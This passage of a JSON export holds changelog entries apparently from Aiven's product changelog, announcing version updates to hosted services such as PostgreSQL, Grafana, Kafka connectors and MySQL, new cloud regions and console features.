v1."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-12-31T00:00:00.000Z","tags":[],"title":"Aiven REST API stable version 1 has been released"} {"_createdAt":"2022-10-27T09:02:35Z","_i18n_lang":"en","_id":"9d1f5db4-9d13-454e-9dfc-f793aece9ad3","_rev":"zF7BMhNhvYpWtPMfHNMWMo","_type":"changelog","_updatedAt":"2022-10-27T09:02:35Z","changeType":"","description":[{"_key":"3a6d64b0-122b-4119-b431-0b000a921c2a","_type":"block","children":[{"_key":"f4d3c104-5774-4f6e-923c-87fe39056370","_type":"span","marks":[],"text":"Please see the "},{"_key":"cc011028-23c1-4dc6-ab65-6f82797e96c6","_type":"span","marks":["m14357554896899"],"text":"changelog"},{"_key":"be215aa6-c75e-4790-85d4-04271362c2e1","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m14357554896899","_type":"link","href":"https://github.com/m3db/m3/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2022-05-23T00:00:00.000Z","tags":[{"_key":"9d7670af-9b2b-401a-ab9c-62aedea8cec6","_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"service"}],"title":"M3 version 1.5.0 is now available on Aiven"} {"_createdAt":"2022-10-27T09:11:30Z","_i18n_lang":"en","_id":"a1a124d2-2a11-42c8-8d14-4e3a1b67cb50","_rev":"tsRucK8MIVb3810duaE8cW","_type":"changelog","_updatedAt":"2022-10-27T09:11:30Z","changeType":"","description":[{"_key":"d4a48d9b-e7b4-4ea8-b782-1ea7db1439f3","_type":"block","children":[{"_key":"7e7aa00e-2850-4862-8e66-2bfa39a5bd47","_type":"span","marks":[],"text":"Note that it is possible to also request much larger custom plans than this."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-08-04T00:00:00.000Z","tags":[{"_key":"12bdb1f7-5304-4291-9b3a-f38f5102ec27","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Added support for larger seven node plans"} {"_createdAt":"2022-10-27T09:11:04Z","_i18n_lang":"en","_id":"a0905419-5a73-48db-b64f-a6f68dba1b68","_rev":"chYcdg0OBeHzQFNhareGZT","_type":"changelog","_updatedAt":"2022-10-27T09:11:04Z","changeType":"","description":[{"_key":"26b8d30c-bf68-400a-ab11-cd0ad19a8dd3","_type":"block","children":[{"_key":"177cb7c9-512a-49b9-aa6a-48c6036effec","_type":"span","marks":[],"text":"To see what's changed please refer to the releases notes for "},{"_key":"44eb6f04-c0be-4095-8c1c-e13419ceb6d6","_type":"span","marks":["m331639393924"],"text":"9.3"},{"_key":"15ae3434-e8e7-4f9b-852c-0a31e1bc2aae","_type":"span","marks":[],"text":", "},{"_key":"aa0e369e-f1e8-4c08-aa04-86c2a6c86e5c","_type":"span","marks":["m17154423795105"],"text":"9.5"},{"_key":"ec01deff-64a0-40f5-9ed5-73ceb09cb31f","_type":"span","marks":[],"text":", "},{"_key":"5de80241-866f-4708-bd4c-712487a8be2a","_type":"span","marks":["m12589036558645"],"text":"9.6"},{"_key":"c9a660be-4331-467a-8086-4799849cc991","_type":"span","marks":[],"text":" and "},{"_key":"7a34953c-9ef5-4c9b-aa1d-54ed3cfe8b3c","_type":"span","marks":["m6291788963281"],"text":"10"},{"_key":"16bfb65a-f1e7-495c-84af-a562ba88e2b7","_type":"span","marks":[],"text":" respectively."}],"markDefs":[{"_key":"m331639393924","_type":"link","href":"https://www.postgresql.org/docs/current/static/release-9-3-20.html"},{"_key":"m17154423795105","_type":"link","href":"https://www.postgresql.org/docs/current/static/release-9-5-10.html"},{"_key":"m12589036558645","_type":"link","href":"https://www.postgresql.org/docs/current/static/release-9-6-6.html"},{"_key":"m6291788963281","_type":"link","href":"https://www.postgresql.org/docs/current/static/release-10-1.html"}],"style":"normal"}],"publishedAt":"2017-11-14T00:00:00.000Z","tags":[{"_key":"3f92b702-32fd-4ec5-a393-4eef0e9bf710","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 9.3.20, 9.5.10, 9.6.6 and 10.1"} {"_createdAt":"2022-10-27T09:07:35Z","_i18n_lang":"en","_id":"a0c2901c-5272-4271-86d7-8edbca0a11fe","_rev":"dTcxLudMA3V5vz7pZEQf2l","_type":"changelog","_updatedAt":"2022-10-27T09:07:35Z","changeType":"","description":[{"_key":"c71748ea-dead-432d-aea9-6516d8ef0894","_type":"block","children":[{"_key":"228bc62e-850b-4894-849b-33abe378927c","_type":"span","marks":[],"text":"This allows you to create and manage database roles in Aiven UI."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-10-28T00:00:00.000Z","tags":[{"_key":"0c0bb660-662a-435a-84b0-a8683e97a164","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"service"}],"title":"Added support for Cassandra service role management"} {"_createdAt":"2022-10-27T09:09:00Z","_i18n_lang":"en","_id":"9fdc7a27-bc53-449b-b889-90ad5bab2482","_rev":"chYcdg0OBeHzQFNhareCRe","_type":"changelog","_updatedAt":"2022-10-27T09:09:00Z","changeType":"","description":[{"_key":"999602ae-35aa-4005-b2fb-8ba157fb1b7b","_type":"block","children":[{"_key":"7b851daf-d700-4cc0-bb92-7c5993054392","_type":"span","marks":[],"text":"All new Elasticsearch services will be using this version and older customers will be upgraded to it over time. To see what's new see the release notes for "},{"_key":"62d45a80-625b-4ca6-ac24-51cc4bb164cf","_type":"span","marks":["m7332857509237"],"text":"Elasticsearch 6.6.0"},{"_key":"b8aad4df-a7ba-418b-a783-2f86fb4e7218","_type":"span","marks":[],"text":" and "},{"_key":"76a6bdcf-b3f8-4db5-ba55-05da96744a08","_type":"span","marks":["m12447862822964"],"text":"Kibana"},{"_key":"cf82f489-6514-48dc-aca8-5229c8dfaa57","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m7332857509237","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-6.6.0.html"},{"_key":"m12447862822964","_type":"link","href":"https://www.elastic.co/guide/en/kibana/current/release-notes-6.6.0.html"}],"style":"normal"}],"publishedAt":"2019-02-05T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch version 6.6.0 and 5.6.14 are now available"} {"_createdAt":"2022-10-27T09:09:18Z","_i18n_lang":"en","_id":"a7c8a7fb-93ce-47cb-88ee-bb08b8d19ceb","_rev":"ri8ZjU8zRgh6Niwltv1Dmp","_type":"changelog","_updatedAt":"2022-10-27T09:09:18Z","changeType":"","description":[{"_key":"3a3cd4a7-9945-4921-9cee-11072d67ed6b","_type":"block","children":[{"_key":"88f2cb20-1b32-46cc-8094-23f4611ba742","_type":"span","marks":[],"text":"Added grafana-gauge-panel plugin. Please see the "},{"_key":"c4997b05-accc-4387-a82a-70d2591739cd","_type":"span","marks":["m16263401095934"],"text":"release notes"},{"_key":"c3615988-2465-4c95-9f98-b4dcd172b6d9","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m16263401095934","_type":"link","href":"https://community.grafana.com/t/release-notes-v5-3-x/10244"}],"style":"normal"}],"publishedAt":"2018-11-14T00:00:00.000Z","tags":[{"_key":"c3fb9f39-0a2d-48f9-9994-7f445a163ff5","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 5.3.4 and all plugins to latest versions"} {"__i18n_lang":"en","_createdAt":"2023-11-28T17:31:59Z","_id":"a2eb6b37-14fe-4ba5-90c9-b892839020dd","_rev":"Arp4NzaYseKQ5hw9dpGj2E","_type":"changelog","_updatedAt":"2023-11-28T17:31:59Z","changeType":"new","description":[{"_key":"8c8ced7b70fd","_type":"block","children":[{"_key":"29e7ef6448320","_type":"span","marks":[],"text":"Aiven offers multiple tools for using its platform and services, including the Aiven CLI, Aiven Provider for Terraform, and the Aiven Operator for Kubernetes®. Major releases of these tools may include breaking changes that require older versions to be deprecated. Using the older versions can result in unexpected behavior, which is why Aiven has introduced end of life (EOL) dates for the tools."}],"markDefs":[],"style":"normal"},{"_key":"d3455e9d8fa8","_type":"block","children":[{"_key":"1eaef1df77dc0","_type":"span","marks":[],"text":"To ensure you are using supported versions with the latest functionality, the EOL dates are published in "},{"_key":"1eaef1df77dc1","_type":"span","marks":["e267dd40776a"],"text":"the documentation"},{"_key":"1eaef1df77dc2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"e267dd40776a","_type":"link","href":"https://docs.aiven.io/docs/platform/reference/eol-for-major-versions"}],"style":"normal"}],"publishedAt":"2023-11-28T17:31:00.000Z","tags":[{"_key":"8c70baf4c555","_ref":"3362a069-f95e-4230-b990-be0b003bc779","_type":"tool"},{"_key":"60f7a23b00c1","_ref":"8d65be65-39e0-4efa-ad0c-87342113389c","_type":"tool"},{"_key":"597711005666","_ref":"2c9ddba5-c82b-4166-95c8-22f314164f97","_type":"tool"},{"_key":"67728f39fbf5","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"End of life dates introduced for Aiven tools"} {"_createdAt":"2022-10-27T09:08:35Z","_i18n_lang":"en","_id":"a300a578-db15-4997-aef6-4e2b73e045e4","_rev":"RS2LhK1JP0SKK0JvX1R201","_type":"changelog","_updatedAt":"2022-10-27T09:08:35Z","changeType":"","description":[{"_key":"655a6f4e-bcaa-419c-b6ae-25f58305f116","_type":"block","children":[{"_key":"d42b4fc1-4d14-4a78-b8a0-feea68c93c47","_type":"span","marks":[],"text":"Please see the "},{"_key":"bebadd39-ded8-4029-ae88-c9caee3313de","_type":"span","marks":["m5182014440506"],"text":"release notes"},{"_key":"39adef6a-deb2-4cf4-a63d-599885eab6e8","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m5182014440506","_type":"link","href":"https://community.grafana.com/t/release-notes-v6-1-x/15772"}],"style":"normal"}],"publishedAt":"2019-04-30T00:00:00.000Z","tags":[{"_key":"7c0c747d-8a5d-4244-948d-803bb113c6db","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 6.1.6 and all plugins to latest versions"} {"_createdAt":"2022-10-27T09:04:03Z","_i18n_lang":"en","_id":"a3274d1b-276f-48a8-b987-92b0e32d4299","_rev":"RS2LhK1JP0SKK0JvX1Ptb1","_type":"changelog","_updatedAt":"2022-10-27T09:04:03Z","changeType":"","description":[{"_key":"aaad4f5f-736c-4b22-8d44-40524f2f8ac9","_type":"block","children":[{"_key":"92a34251-ea55-4afe-8b13-b174b01aa703","_type":"span","marks":[],"text":"Please see the "},{"_key":"caca408f-8d04-4279-8ce5-a12331cb7012","_type":"span","marks":["m17452505447564"],"text":"release notes"},{"_key":"c9cdf8eb-173a-4c42-8194-b78443d9b679","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m17452505447564","_type":"link","href":"https://grafana.com/docs/grafana/latest/whatsnew/whats-new-in-v8-0/"}],"style":"normal"}],"publishedAt":"2021-06-22T00:00:00.000Z","tags":[{"_key":"481202ae-cba0-4811-8375-a1fdb40c9f23","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 8.0.3"} {"_createdAt":"2022-10-27T09:09:46Z","_i18n_lang":"en","_id":"a3b60f02-c68f-4fdd-a412-8898f577c0a8","_rev":"7JYD5XroFCjaK9NJzk3yKC","_type":"changelog","_updatedAt":"2022-10-27T09:09:46Z","changeType":"","publishedAt":"2018-08-30T00:00:00.000Z","tags":[{"_key":"54618b1a-fc3c-4a93-a66d-7fc4f9ac6858","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"hostProvider"}],"title":"Many small and medium sized plans running in supported AWS regions now utilize the new t3 instance types, greatly increasing their performance."} {"_createdAt":"2022-10-27T09:12:06Z","_i18n_lang":"en","_id":"a4cc835d-5cfa-4387-b866-528d91d38866","_rev":"6wJ6OxF1mPB2I3zegPPkAv","_type":"changelog","_updatedAt":"2023-01-31T08:51:05Z","changeType":"","description":[{"_key":"102e5f1e-404e-4a50-959c-c4a20eaf7d86","_type":"block","children":[{"_key":"9827535d-36c8-4680-b6db-b1cc1180d60b","_type":"span","marks":[],"text":"Please refer to the release notes of "},{"_key":"865e7378-2cab-4912-9104-1b2e36423625","_type":"span","marks":["m8401716486929"],"text":"Kibana"},{"_key":"376fdecd-06cb-410a-8a92-df67f2fc1657","_type":"span","marks":[],"text":" and "},{"_key":"8eee8e43-1538-41f7-8b2f-437d59762f9b","_type":"span","marks":["m14688333001264"],"text":"Elasticsearch"},{"_key":"84fb755e-2b36-46bb-93bd-ea653453e07c","_type":"span","marks":[],"text":" for what's new."}],"markDefs":[{"_key":"m8401716486929","_type":"link","href":"https://www.elastic.co/guide/en/kibana/current/release-notes-5.2.2.html"},{"_key":"m14688333001264","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-5.2.2.html"}],"style":"normal"}],"publishedAt":"2017-03-02T00:00:00.000Z","tags":[],"title":"Updated to minor version 5.2.2"} {"_createdAt":"2022-10-27T09:05:56Z","_i18n_lang":"en","_id":"a509db6f-7f29-415d-b949-8f4b0074cb7d","_rev":"WYf15BwQWb3V4yHfbxOaDj","_type":"changelog","_updatedAt":"2022-10-27T09:05:56Z","changeType":"","description":[{"_key":"842caf3d-3071-4443-80cf-205c7247dc27","_type":"block","children":[{"_key":"d4fef77a-7f47-411d-855a-68589d50b648","_type":"span","marks":[],"text":"Please see the "},{"_key":"21af5bc7-70ca-41df-ae29-d1bf1867058b","_type":"span","marks":["m8234087949213"],"text":"release notes"},{"_key":"8eb53d90-0681-4711-b1f5-489bc5fde3b2","_type":"span","marks":[],"text":" and the "},{"_key":"9714e2fb-9b8d-4ee8-8463-1f1f0a428f97","_type":"span","marks":["m10523595755346"],"text":"documentation"},{"_key":"f3606c4b-82a3-4001-8c9d-35d15c51c55c","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8234087949213","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-http/releases/tag/v0.1.0"},{"_key":"m10523595755346","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-http/blob/v0.1.0/docs/sink-connector-config-options.rst"}],"style":"normal"}],"publishedAt":"2020-10-05T00:00:00.000Z","tags":[{"_key":"c3184f7c-1738-43e3-970c-d033d8e8be71","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink HTTP connector have been updated to version 0.1.0"} {"__i18n_lang":"en","_createdAt":"2024-01-03T17:40:36Z","_id":"a52893a6-08e5-4279-9380-b5f6810fcab7","_rev":"cYm7NAkc6EQoa8jfAH5zy9","_type":"changelog","_updatedAt":"2024-01-09T10:01:04Z","changeType":"new","description":[{"_key":"e526bb79332d","_type":"block","children":[{"_key":"dd751cb9eb5e0","_type":"span","marks":[],"text":"Aiven for PostgreSQL® 16 is now available on the Aiven platform."}],"markDefs":[],"style":"normal"},{"_key":"1da60191f01e","_type":"block","children":[{"_key":"93737c011a4b0","_type":"span","marks":[],"text":"This release comes with a wealth of new capabilities and performance enhancements:"}],"markDefs":[],"style":"normal"},{"_key":"78e4e9d80495","_type":"block","children":[{"_key":"0882d8962fa30","_type":"span","marks":[],"text":"Better query planning and bulk loading performance"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"49f5fc758a65","_type":"block","children":[{"_key":"039cd42409910","_type":"span","marks":[],"text":"New logical replication features"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f1e907504341","_type":"block","children":[{"_key":"34dd9a2b30400","_type":"span","marks":[],"text":"Developer experience features"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"78b5081461df","_type":"block","children":[{"_key":"d775fc7fd9840","_type":"span","marks":[],"text":"Strengthened security and access control"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d7cd2f29eb09","_type":"block","children":[{"_key":"2e8c323191650","_type":"span","marks":[],"text":"For more information on what PostgreSQL version 16 introduces, check "},{"_key":"2e8c323191651","_type":"span","marks":["191dd1b02059"],"text":"PostgreSQL 16 release notes"},{"_key":"2e8c323191652","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"191dd1b02059","_type":"link","href":"https://www.postgresql.org/docs/release/16.0/"}],"style":"normal"}],"publishedAt":"2024-01-09T10:00:00.000Z","tags":[{"_key":"5fd9e9f07f0d","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL® 16 released"} {"_createdAt":"2022-10-27T09:09:31Z","_i18n_lang":"en","_id":"a60983ad-ae92-4865-ab22-bf92bb4b865e","_rev":"chYcdg0OBeHzQFNhareDPq","_type":"changelog","_updatedAt":"2022-10-27T09:09:31Z","changeType":"","description":[{"_key":"42d81815-cc90-4b9d-a426-9da56b18123e","_type":"block","children":[{"_key":"16b10bf1-844c-4054-9c7b-6888a7d4a348","_type":"span","marks":[],"text":"Added grafana-diagram plugin. Please see the "},{"_key":"b116c490-2b05-44ca-9d5b-a4d758aeaa3c","_type":"span","marks":["m16263401095934"],"text":"release notes"},{"_key":"8eef33d9-fc38-4783-bfee-3c7717d9ba27","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m16263401095934","_type":"link","href":"https://community.grafana.com/t/release-notes-v5-3-x/10244"}],"style":"normal"}],"publishedAt":"2018-10-26T00:00:00.000Z","tags":[{"_key":"d4073409-1719-4ea1-af27-11757f6bb50d","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 5.3.2 and all plugins to latest versions"} {"__i18n_lang":"en","_createdAt":"2023-04-18T11:22:10Z","_id":"a628ef05-93eb-431d-acd4-28d4df3b0fb9","_rev":"0gP1FJK1vZ1k6mTChHBXyY","_type":"changelog","_updatedAt":"2023-04-20T06:56:59Z","changeType":"improved","description":[{"_key":"ef59139bc848","_type":"block","children":[{"_key":"e0bfd549d6950","_type":"span","marks":[],"text":"StreamReactor, a collection of Apache Kafka Connect connectors, has been updated to version 4.2.0. This release of StreamReactor brings several improvements and bug fixes to enhance its overall performance and stability. The key changes include the following:"}],"markDefs":[],"style":"normal"},{"_key":"ea5beb8f7c58","_type":"block","children":[{"_key":"ed0ae1ee97830","_type":"span","marks":[],"text":"Upgraded dependencies to their latest versions."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6edb47717aea","_type":"block","children":[{"_key":"3fd5e4f0357d0","_type":"span","marks":[],"text":"Bug fixes related to the MQTT Connector, resulting in a more stable and reliable data transfer between MQTT and other systems."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"62b1310e2931","_type":"block","children":[{"_key":"edd8a1a5022e0","_type":"span","marks":[],"text":"This release does not include any breaking changes."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"28ac664a025d","_type":"block","children":[{"_key":"1467bc238ee80","_type":"span","marks":[],"text":"For more information, see "},{"_key":"1467bc238ee81","_type":"span","marks":["a3bde7da1238"],"text":"Stream Reactor release notes"},{"_key":"1467bc238ee82","_type":"span","marks":[],"text":". For a list of Stream Reactor connectors supported in Aiven, see "},{"_key":"1467bc238ee83","_type":"span","marks":["c36cb8495d1c"],"text":"Source connectors "},{"_key":"1467bc238ee84","_type":"span","marks":[],"text":"and "},{"_key":"1467bc238ee85","_type":"span","marks":["4551585727b6"],"text":"Sink connectors"},{"_key":"1467bc238ee86","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a3bde7da1238","_type":"link","href":"https://docs.lenses.io/5.1/connectors/release-notes/#420"},{"_key":"c36cb8495d1c","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/list-source-connectors"},{"_key":"4551585727b6","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/list-sink-connectors"}],"style":"normal"}],"publishedAt":"2023-04-20T06:45:40.717Z","tags":[{"_key":"c2cfdcc9519f","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"StreamReactor has been updated to version 4.2.0"} {"__i18n_lang":"en","_createdAt":"2023-01-31T10:40:55Z","_id":"a62ad734-c671-48dd-bf31-322b54178bbc","_rev":"6wJ6OxF1mPB2I3zegbtztv","_type":"changelog","_updatedAt":"2023-02-01T17:32:01Z","changeType":"improved","description":[{"_key":"12ae612be949","_type":"block","children":[{"_key":"7c6ed08096fb0","_type":"span","marks":[],"text":"Along with other bug fixes, Karapace version 3.4.4 contains the fix for a bug affecting the authorization configuration file updates. Any new Aiven for Apache Kafka service created will now include Karapace version 3.4.4. The existing Aiven for Apache Kafka service users will need to run the maintenance upgrade to use Karapace 3.4.4. To view the complete list of fixes in this version, see "},{"_key":"f8fcd061805d","_type":"span","marks":["94036e8620de"],"text":"Karapace release notes"},{"_key":"08054636a365","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"94036e8620de","_type":"link","href":"https://github.com/aiven/karapace/releases/tag/3.4.4"}],"style":"normal"}],"publishedAt":"2023-01-27T10:40:00.000Z","tags":[{"_key":"6f780b5b212c","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace has been upgraded to version 3.4.4."} {"_createdAt":"2022-10-27T09:02:53Z","_i18n_lang":"en","_id":"a68b0166-6fe6-4a5f-ac91-be49bd51421b","_rev":"avO8DZ6Ky9k3TDzRfU5gsf","_type":"changelog","_updatedAt":"2022-10-27T09:02:53Z","changeType":"","description":[{"_key":"064f78a0-f044-44e0-9bf4-bff4ec7197bc","_type":"block","children":[{"_key":"c7d6001d-c71a-45c9-8fd9-de32230ee16b","_type":"span","marks":[],"text":"Please see the "},{"_key":"38d1fca7-fab5-429e-8a2a-e752e3ff2b6c","_type":"span","marks":["m15519209687817"],"text":"release notes"},{"_key":"b443b60c-866b-47b2-bea8-8359b4de9cb4","_type":"span","marks":[],"text":" and the "},{"_key":"81bf4212-8b68-4d8e-8d3f-842237c5196e","_type":"span","marks":["m3650890459784"],"text":"documentation"},{"_key":"a545bbaf-3f88-4d41-b068-3dcc28d8ebf4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m15519209687817","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/releases/tag/v6.6.2"},{"_key":"m3650890459784","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/tree/v6.6.2"}],"style":"normal"}],"publishedAt":"2022-03-03T00:00:00.000Z","tags":[{"_key":"ce74e31c-fa5c-4146-97e5-7871eb09171b","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink and source JDBC connectors have been updated to version 6.6.2"} {"_createdAt":"2022-10-27T09:04:13Z","_i18n_lang":"en","_id":"a6cbdb10-abce-4a27-8bbe-221dc6644cd8","_rev":"MEha5B96IszmAjyiiUpQ1L","_type":"changelog","_updatedAt":"2022-10-27T09:04:13Z","changeType":"","description":[{"_key":"e1a1a64c-cc6d-4a98-95b3-de10f6f13583","_type":"block","children":[{"_key":"1e6e2764-2c17-4ee4-9861-c754d845466b","_type":"span","marks":[],"text":"Please see the "},{"_key":"5aff727e-a722-407e-965a-55c941f216b9","_type":"span","marks":["m16247171193179"],"text":"changelog"},{"_key":"0943e022-85ea-4389-9fda-b3de6d66b9c6","_type":"span","marks":[],"text":" and "},{"_key":"4fc60227-2c3d-49aa-b41b-f782e9643029","_type":"span","marks":["m1370087797242"],"text":"documentation"},{"_key":"89419b2a-e75e-477e-b0b3-4f63f146082f","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m16247171193179","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-gcs/releases/tag/v0.8.0"},{"_key":"m1370087797242","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-gcs/tree/v0.8.0"}],"style":"normal"}],"publishedAt":"2021-05-22T00:00:00.000Z","tags":[{"_key":"0f742414-d77c-40e0-9f44-04cfd2bc7c41","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka GCS Sink Connector has been updated to version 0.8.0"} {"__i18n_lang":"en","_createdAt":"2024-04-12T16:19:10Z","_id":"a6d77674-65cb-40ef-b357-e0947480faee","_rev":"BASZXbsyv9GrdhhwbJlFKX","_type":"changelog","_updatedAt":"2024-04-15T07:00:11Z","changeType":"new","description":[{"_key":"ba27d0ada79f","_type":"block","children":[{"_key":"890c541b694f0","_type":"span","marks":[],"text":"Organization super admin can now view a list of all projects in their organization and its organizational units in one place. You can search for projects by name or project tags, open a project, or organize your projects by moving them to other units. To see the list of projects go to "},{"_key":"4405d026bcec","_type":"span","marks":["strong"],"text":"Admin"},{"_key":"215a4ec3695d","_type":"span","marks":[],"text":" \u003e "},{"_key":"d74272b61e22","_type":"span","marks":["strong"],"text":"Projects"},{"_key":"4b60047f8d1b","_type":"span","marks":[],"text":"."}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-04-15T07:00:00.000Z","tags":[{"_key":"defcef72926d","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"New admin view of organization projects in Aiven Console"} {"_createdAt":"2022-10-27T09:10:26Z","_i18n_lang":"en","_id":"a7f6f57e-ef40-4019-8309-93469e00e87b","_rev":"chYcdg0OBeHzQFNhareF7B","_type":"changelog","_updatedAt":"2022-10-27T09:10:26Z","changeType":"","description":[{"_key":"791d36f9-861a-4a43-a1f6-4f95edb72c08","_type":"block","children":[{"_key":"1adb84f1-47ea-46f8-a31b-a145183846c8","_type":"span","marks":[],"text":"All Aiven services are now available in these regions."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-03-22T00:00:00.000Z","tags":[{"_key":"5cbacdf8-59d4-4254-b6e9-ec346f393a1e","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"hostProvider"}],"title":"Added support for Azure regions India Central, India South and Korea South regions"} {"_createdAt":"2022-10-27T09:04:47Z","_i18n_lang":"en","_id":"a81f9a94-8a0a-472e-a228-60930660ac02","_rev":"HEiYk6nGjmUICadcDbSjaY","_type":"changelog","_updatedAt":"2022-10-27T09:04:47Z","changeType":"","description":[{"_key":"9f6b2dd7-ae91-46d6-9bf2-4625ce9dece6","_type":"block","children":[{"_key":"eaa0c180-b9e9-44da-87be-951838f67712","_type":"span","marks":[],"text":"Please see the "},{"_key":"bb2baa0d-9e59-44d6-bc58-0fbb25d82af0","_type":"span","marks":["m1048361217897"],"text":"Release Notes"},{"_key":"8743f69f-06ec-4239-b2ae-d5bb29568aa5","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m1048361217897","_type":"link","href":"https://dev.mysql.com/doc/relnotes/mysql/8.0/en/news-8-0-23.html"}],"style":"normal"}],"publishedAt":"2021-03-24T00:00:00.000Z","tags":[{"_key":"bc422804-aaa1-4dce-8b25-8e0eefe64e41","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"MySQL server version 8.0.23 now available"} {"_createdAt":"2022-10-27T09:11:25Z","_i18n_lang":"en","_id":"a87a03b4-1bbf-4426-96f7-6690e099ed40","_rev":"C4pC7IakZ1PpJ4LWR2B8IT","_type":"changelog","_updatedAt":"2022-10-27T09:11:25Z","changeType":"","description":[{"_key":"546bf3c5-3c56-4af2-b259-58ca8f36a3b6","_type":"block","children":[{"_key":"18f31f23-62b4-42b7-bb80-0288454a016b","_type":"span","marks":[],"text":"All Aiven services are now available in the region."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-08-24T00:00:00.000Z","tags":[{"_key":"565973fc-ddd6-48e7-b33e-8fa31e327fe4","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added support for Google Cloud Platform (GCP) europe-west3 region in Frankfurt, Germany"} {"_createdAt":"2022-10-27T09:06:00Z","_i18n_lang":"en","_id":"a8bef78c-5812-4804-a423-624afeee8307","_rev":"WYf15BwQWb3V4yHfbxOaPb","_type":"changelog","_updatedAt":"2022-10-27T09:06:00Z","changeType":"","description":[{"_key":"9c5968e8-2258-4b0c-8525-8bf59cea89ad","_type":"block","children":[{"_key":"09bba81b-5a0e-4c7f-a373-4effb380eb84","_type":"span","marks":[],"text":"Please see the "},{"_key":"da7df2d0-2ecd-4d6b-8493-800cba2c40e9","_type":"span","marks":["m8452431981431"],"text":"changelog"},{"_key":"df78ff79-fb45-4657-b84f-04c7d0431600","_type":"span","marks":[],"text":" and "},{"_key":"da020799-ba25-40d9-908c-a35a39ab8fb6","_type":"span","marks":["m9267121393957"],"text":"documentation"},{"_key":"e240e7a2-3d7b-4361-abec-ea9ffbb21243","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8452431981431","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3/releases/tag/2.7.0"},{"_key":"m9267121393957","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3"}],"style":"normal"}],"publishedAt":"2020-09-18T00:00:00.000Z","tags":[{"_key":"2db275a1-fce8-4af4-95fa-48f0699bfac8","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka S3 Sink Connector has been updated to version 2.7.0"} 